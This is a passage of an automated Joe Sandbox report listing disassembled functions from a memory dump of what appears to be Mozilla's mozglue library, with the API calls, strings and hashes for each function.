Instruction Fuzzy Hash: D52196766143149FCB08EF68C85565ABBE5FBCE710F04882EE599873B1D734E809CB41

Function 6BF61B80 Relevance: 6.1, APIs: 4, Instructions: 77threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF61B98
AcquireSRWLockExclusive.KERNEL32(?,?,6BF61D96,00000000), ref: 6BF61BA1
ReleaseSRWLockExclusive.KERNEL32(?,?,6BF61D96,00000000), ref: 6BF61BB5
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF61C25

Part of subcall function 6BF61C60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6BF6759E,?,?), ref: 6BF61CB4

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free
String ID:
API String ID: 3699359333-0
Opcode ID: 2fb3a1d9793fe5a705e8e7f595a21fcb38bed2d5d21e5fbcc6347051cf8f88ba
Instruction ID: 3e0343e94e622b83e44b88bb6953a866cf6c965b6d9b87cccdeef993bb3a9fdf
Opcode Fuzzy Hash: 2fb3a1d9793fe5a705e8e7f595a21fcb38bed2d5d21e5fbcc6347051cf8f88ba
Instruction Fuzzy Hash: EC21D372A042258BDB049F26C4857AFBBB8AF42B85F00145DDD1297361F77DEA05CBD0

Function 6BF77B10 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6BF77B51
__aulldiv.LIBCMT ref: 6BF77B6C
__aulldiv.LIBCMT ref: 6BF77B8B
__aulldiv.LIBCMT ref: 6BF77BB1

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction ID: 662daa8cc2d2f7a91144c18b1d168b5106354675c3b049381e89b02cff07b6e9
Opcode Fuzzy Hash: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction Fuzzy Hash: 69216372B0060A5FD724DF7DCC82E677BF8EB8A714B10853EE01AD7351E674A8048BA0

Function 6BF77A10 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6BF2BF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6BF77A3F), ref: 6BF2BF11
Part of subcall function 6BF2BF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6BF77A3F), ref: 6BF2BF5D
Part of subcall function 6BF2BF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6BF77A3F), ref: 6BF2BF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000013,00000000), ref: 6BF77A48
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_K@Z.MSVCP140(?,?), ref: 6BF77A7A

Part of subcall function 6BF29830: free.MOZGLUE(?,?,?,6BF77ABE), ref: 6BF2985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6BF77AC0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6BF77AC8

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: 1c91bacd8866e9a159f1758fc131fbb07c16c5c23272f5dc6f1909470ee8dcb5
Instruction ID: 0d4696888b67fd072af8168dc355df0a791d6c750c53cd921e28ccbb7a2fc29a
Opcode Fuzzy Hash: 1c91bacd8866e9a159f1758fc131fbb07c16c5c23272f5dc6f1909470ee8dcb5
Instruction Fuzzy Hash: 462132356043049FCB14DF28D895A5EFBE5FF89714F04882DE84587365CB34E909CB92

Function 6BF77930 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6BF2BF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6BF77A3F), ref: 6BF2BF11
Part of subcall function 6BF2BF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6BF77A3F), ref: 6BF2BF5D
Part of subcall function 6BF2BF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6BF77A3F), ref: 6BF2BF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6BF77968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6BF7A264,6BF7A264), ref: 6BF7799A

Part of subcall function 6BF29830: free.MOZGLUE(?,?,?,6BF77ABE), ref: 6BF2985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6BF779E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6BF779E8

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: 18ef9aea3043635e9544b6a925aeb09440310f8b06d2f9ebb5f04c52d4c1fb4b
Instruction ID: 4e99a15a161f9abb4808723b3c33d01ee0cef76dc6becedd29c48dd0d73d5b86
Opcode Fuzzy Hash: 18ef9aea3043635e9544b6a925aeb09440310f8b06d2f9ebb5f04c52d4c1fb4b
Instruction Fuzzy Hash: F42130366043049FCB14DF28D885A9EFBE5FF89714F44882DE84687366CB35E909CB92

Function 6BF7AAE0 Relevance: 6.1, APIs: 4, Instructions: 59threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF7AAF8
EnterCriticalSection.KERNEL32(6BF9F770,?,6BF3BF9F), ref: 6BF7AB08
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,6BF3BF9F), ref: 6BF7AB39
LeaveCriticalSection.KERNEL32(6BF9F770,?,?,?,?,?,?,?,?,6BF3BF9F), ref: 6BF7AB6B

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread_stricmp
String ID:
API String ID: 1951318356-0
Opcode ID: a4dc4acd0eec22a70b0fe8f5aec8be8c5c3c54575df327bdce85dfc71fd1df4a
Instruction ID: 55cc7da5a1d14abc2fe18baca5284e9e8542abe863ca22be2c5eba8d30839a98
Opcode Fuzzy Hash: a4dc4acd0eec22a70b0fe8f5aec8be8c5c3c54575df327bdce85dfc71fd1df4a
Instruction Fuzzy Hash: E41121B291021A8FDF00EF69D84599F7BB5EF453047010469E50597321E735E909CBA2

Function 6BF62050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF6205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6BF6201B,?,?,?,?,?,?,?,6BF61F8F,?,?), ref: 6BF62064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF6208E
free.MOZGLUE(?,?,?,00000000,?,6BF6201B,?,?,?,?,?,?,?,6BF61F8F,?,?), ref: 6BF620A3

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: e793eed7a150c3f55e34d63be9afd80b33345ca7c3799c9f3c7d23e72f6e94d1
Instruction ID: 742ac1af3905ee1e412c7a16805a21ab050260ec97f9a09ab41d310ec101fcf4
Opcode Fuzzy Hash: e793eed7a150c3f55e34d63be9afd80b33345ca7c3799c9f3c7d23e72f6e94d1
Instruction Fuzzy Hash: ADF0B4724006119BC711AF16D88471BB7F9EF86364F10041AE90687321D77AE906CB95

Function 6BF5EB00 Relevance: 6.0, APIs: 4, Instructions: 30threadsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF5EB11
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6BF5EB3C
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5EB5B
GetCurrentThreadId.KERNEL32 ref: 6BF5EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6BF5EBAC
GetCurrentThreadId.KERNEL32 ref: 6BF5EBC1
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8,?,?,00000000), ref: 6BF5EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6BF5EBE5
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8,00000000), ref: 6BF5EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BF5EC46
CloseHandle.KERNEL32(?), ref: 6BF5EC55
free.MOZGLUE(00000000), ref: 6BF5EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6BF5EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6BF5EA9B

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLock$CurrentThread$AcquireRelease$?profiler_init@baseprofiler@mozilla@@CloseHandleObjectSingleWait_getpidfreememset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 2885072826-1186885292
Opcode ID: 126bd437b8f7d31b418eb2857a5e05b5221e1f08e45b73c6e2bbffa1179babb6
Instruction ID: dbc2499a2d4c4443d58ea39d52215dd70cb7ba1d50e2ecacbcb03f2434742768
Opcode Fuzzy Hash: 126bd437b8f7d31b418eb2857a5e05b5221e1f08e45b73c6e2bbffa1179babb6
Instruction Fuzzy Hash: 52F0A733220210ABDB407F6DD845B597764AB92756F000025F505D3271C779B45EC771

Function 6BF620B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF620B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6BF4FBD1), ref: 6BF620C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6BF4FBD1), ref: 6BF620DA
free.MOZGLUE(00000000,?,6BF4FBD1), ref: 6BF620F1

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 3eb2e69958ce048d7ac592d2265be8751a2468bba95b7d99d20cecce93b033d0
Instruction ID: f32283d3b6ea52566ca67b13423c1da2c94020339fe9d0d4992d2c1040320004
Opcode Fuzzy Hash: 3eb2e69958ce048d7ac592d2265be8751a2468bba95b7d99d20cecce93b033d0
Instruction Fuzzy Hash: 4AE0E5325006159BC220AF39980464EB7EDFF86355B00062AE946C3221EB7AE94686D5

Function 6BF19A20 Relevance: 5.3, APIs: 4, Instructions: 338COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BF19B2C
memcpy.VCRUNTIME140(6BF199CF,00000000,?), ref: 6BF19BB6
memcpy.VCRUNTIME140(?,?,?), ref: 6BF19BF8
memcpy.VCRUNTIME140(?,?,?), ref: 6BF19DE4

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 072d574215549f8e88b36da42d7a89ee371683abdc2d2e17017cf1510e017d86
Instruction ID: a23a2c37c765e1f4bedb827c491e6ec0f010bda3583d4707c6c37c0164dbbec5
Opcode Fuzzy Hash: 072d574215549f8e88b36da42d7a89ee371683abdc2d2e17017cf1510e017d86
Instruction Fuzzy Hash: 7BD16F72A0420A9FCB14CF69C881AAEB7F2FF88314F14852DE955A7351D735ED52CB90

Function 6BF60A70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6BF237F0: ?ensureCapacitySlow@ProfilingStack@baseprofiler@mozilla@@AAEXXZ.MOZGLUE(?,?,?,?,6BF7145F,baseprofiler::AddMarkerToBuffer,00000000,?,00000039,00000000), ref: 6BF2380A

Part of subcall function 6BF58DC0: moz_xmalloc.MOZGLUE(00000038,?,?,00000000,?,6BF706E6,?,?,00000008,?,?,?,?,?,?,?), ref: 6BF58DCC

Part of subcall function 6BF60B60: moz_xmalloc.MOZGLUE(00000080,?,?,?,?,6BF6138F,?,?,?), ref: 6BF60B80

?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,00000001,?,?,6BF6138F,?,?,?), ref: 6BF60B27
free.MOZGLUE(?,?,?,?,?,6BF6138F,?,?,?), ref: 6BF60B3F

Strings

baseprofiler::profiler_capture_backtrace, xrefs: 6BF60AB5

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: moz_xmalloc$?ensure?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CapacityCaptureChunkedOptions@2@@ProfileProfilingSlow@StackStack@baseprofiler@mozilla@@free
String ID: baseprofiler::profiler_capture_backtrace
API String ID: 3592261714-147032715
Opcode ID: fb5229aa7ce14efb288b717a0321fa9e36575644dac32dcbaada03b7851a6550
Instruction ID: e2dbcd3a9a70c47218ec3c6124189ddf3e99656f2af924c9a7a435e49288a4ef
Opcode Fuzzy Hash: fb5229aa7ce14efb288b717a0321fa9e36575644dac32dcbaada03b7851a6550
Instruction Fuzzy Hash: 4721E777A001069BDB04DF78C891B7EB376EF85744F20406CDC059B361E7B8A905CBA1

Function 6BF1F180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,?), ref: 6BF1F19B

Part of subcall function 6BF3D850: EnterCriticalSection.KERNEL32(?), ref: 6BF3D904
Part of subcall function 6BF3D850: LeaveCriticalSection.KERNEL32(?), ref: 6BF3D971
Part of subcall function 6BF3D850: memset.VCRUNTIME140(?,00000000,?), ref: 6BF3D97B

mozalloc_abort.MOZGLUE(?), ref: 6BF1F209

Strings

d, xrefs: 6BF1F1F5

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$EnterLeavecallocmemsetmozalloc_abort
String ID: d
API String ID: 3775194440-2564639436
Opcode ID: b4a5dad8a5cc33b31f68e8bfa82e77697f864b55958c90ca1af80d74ef5e1c4c
Instruction ID: 3c5f732aecaee211b358152a99d50d72e8e8662428aca48400f2827c7e968f21
Opcode Fuzzy Hash: b4a5dad8a5cc33b31f68e8bfa82e77697f864b55958c90ca1af80d74ef5e1c4c
Instruction Fuzzy Hash: A1115C37E1864A87DB048F6CC9512BEB775EF86318B01556DDC05AB632EB35DA88C380

Function 6BF2CA10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?), ref: 6BF2CA26

Part of subcall function 6BF2CAB0: EnterCriticalSection.KERNEL32(?), ref: 6BF2CB49
Part of subcall function 6BF2CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6BF2CBB6

mozalloc_abort.MOZGLUE(?), ref: 6BF2CAA2

Strings

d, xrefs: 6BF2CA6C

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$EnterLeavemallocmozalloc_abort
String ID: d
API String ID: 3517139297-2564639436
Opcode ID: 8d9d4728eeb76ec294e9b0305aff8d74517c51d9f95c65f5be34352d30527d61
Instruction ID: b945e0d2a44a95cf269e0afcb88dc661ecc52a0a1f1a6c1fe58276f52280caa0
Opcode Fuzzy Hash: 8d9d4728eeb76ec294e9b0305aff8d74517c51d9f95c65f5be34352d30527d61
Instruction Fuzzy Hash: 72110E32D2068893EB00DBA8C8211BDF774EF96214F048229DC49AB222EB34E588C780

Function 6BF31A50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

realloc.MOZGLUE(?,?), ref: 6BF31A6B

Part of subcall function 6BF31AF0: EnterCriticalSection.KERNEL32(?), ref: 6BF31C36

mozalloc_abort.MOZGLUE(?), ref: 6BF31AE7

Strings

d, xrefs: 6BF31AB1

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalEnterSectionmozalloc_abortrealloc
String ID: d
API String ID: 2670432147-2564639436
Opcode ID: 46fe3616ed6d1762110be879ef2100d0530d796734a50144c59be6b05cecd297
Instruction ID: 43a5a19684669b13486f43fc78f35342372df5a2c4f922c9b9d838bf4d6e322f
Opcode Fuzzy Hash: 46fe3616ed6d1762110be879ef2100d0530d796734a50144c59be6b05cecd297
Instruction Fuzzy Hash: 00110632D1066C93DF049BA8CC155BEF775EF96214F44961DDD459B232EB34A6C8C380

Function 6BF24730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6BF244B2,6BF9E21C,6BF9F7F8), ref: 6BF2473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6BF2474A

Strings

GetNtLoaderAPI, xrefs: 6BF24744

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: e0132057de7d13ae2dc0c20bd77530d1e20d6a72d2d9580050c0e001b94f8261
Instruction ID: 1a44e958f1a95b950dd6b5e3b39c098aae0ca8c6cd59167f5809db6c887fd3f7
Opcode Fuzzy Hash: e0132057de7d13ae2dc0c20bd77530d1e20d6a72d2d9580050c0e001b94f8261
Instruction Fuzzy Hash: 1E019276A10214DFDF04BFA9985871D7BA9FB8B711B044469EA05D7320CBB8E8068F91

Function 6BF75900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6BF951C8), ref: 6BF7591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6BF7592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6BF75915

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: a22789bfea3deced0ab992ce68442731aac0677279404cdb485926415e0e556f
Instruction ID: f3068ccf43fc00450354d2e69eaf8111ec90943f8fdc2a8c642583d04dea07bf
Opcode Fuzzy Hash: a22789bfea3deced0ab992ce68442731aac0677279404cdb485926415e0e556f
Instruction Fuzzy Hash: B0E0D832114340F7DB107B69D5087457FE8DB13326F04459DF668836F1C3B9E8898791

Function 6BF2BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6BF2BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6BF2BEF5

Strings

cryptbase.dll, xrefs: 6BF2BEF0

Memory Dump Source

